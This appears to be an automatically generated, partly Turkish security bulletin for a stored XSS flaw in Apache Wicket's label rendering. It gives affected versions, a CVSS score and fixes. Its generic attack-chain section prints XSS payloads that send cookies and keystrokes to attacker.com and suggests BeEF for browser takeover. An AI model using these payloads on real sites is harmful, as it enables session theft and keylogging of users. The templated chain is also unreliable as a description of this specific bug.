CWE-79
Improper neutralization of input during web page generation in Apache Wicket. The <wicket:label> tag is provided by org.apache.wicket.markup.html.form.AutoLabelTextResolver, which is registered by default in every WebApplication. The resolver writes the label it finds into the markup as it is, and reads no escaping setting at all, so markup in a label is rendered as markup. When the label comes from the labelled component's label model, set through FormComponent#setLabel(IModel), it is written to the markup unescaped. An application is affected where the label of a form component holds data an attacker can influence. Wicket cannot determine where a model value comes from, so whether it reaches the page from a request or from storage is a property of the application. There is no workaround. Unlike every other rendering path in Wicket, the resolver never consulted the escape-model-strings setting, so an application had no way to ask for the label to be escaped. The body of a <wicket:label> tag is markup by design and is not affected; it remains the supported way to place markup in a label. This issue affects Apache Wicket: from 8.0.0 through 8.18.0, from 9.0.0 through 9.23.0, from 10.0.0 through 10.10.0. Older, unsupported releases from 1.5.0 onwards are also affected. Users are recommended to upgrade to version 8.19.0, 9.24.0 or 10.11.0, which fix the issue.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-76983
CVSS 5.4/10 · ORTA · 31.08.2026
CWE: CWE-79
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 AÇIK NEDİR?
Cross-Site Scripting (XSS)
Açıklama: Improper neutralization of input during web page generation in Apache Wicket. The <wicket:label> tag is provided by org.apache.wicket.markup.html.form.AutoLabelTextResolver, which is registered by default in every WebApplication. The resolver writes the label it finds into the markup as it is, and reads no escaping setting at all, so markup in a label is rendered as markup.
Etkilenen: apache:wicket
⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Stored XSS: Uygulama kullanıcı girdisini DB'ye kaydedip diğer kullanıcılara gösteriyorsa, yorum/profil alanlarına payload inject edilir.
2. Reflected XSS: URL parametresine <script>alert(1)</script> eklenir, link kurban ile paylaşılır.
3. Cookie çalma: <script>new Image().src='https://attacker.com/c?c='+document.cookie</script>
4. Keylogger: <script>document.onkeypress=function(e){new Image().src='https://attacker.com/k?k='+e.key}</script>
5. BeEF framework ile tam tarayıcı kontrolü.
🔧 Araçlar: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 GERÇEK DÜNYA ETKİSİ
Diğer sistemlere pivot mümkün.
🛡️ ÇÖZÜM VE MİTİGASYON
→ apache:wicket için üretici güvenlik güncellemesini uygula.
→ CSP header ekle, tüm kullanıcı girdilerini HTML encode et.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.
⚠️ ACİLİYET
📋 Rutin güncelleme (30 gün)
────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]
[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]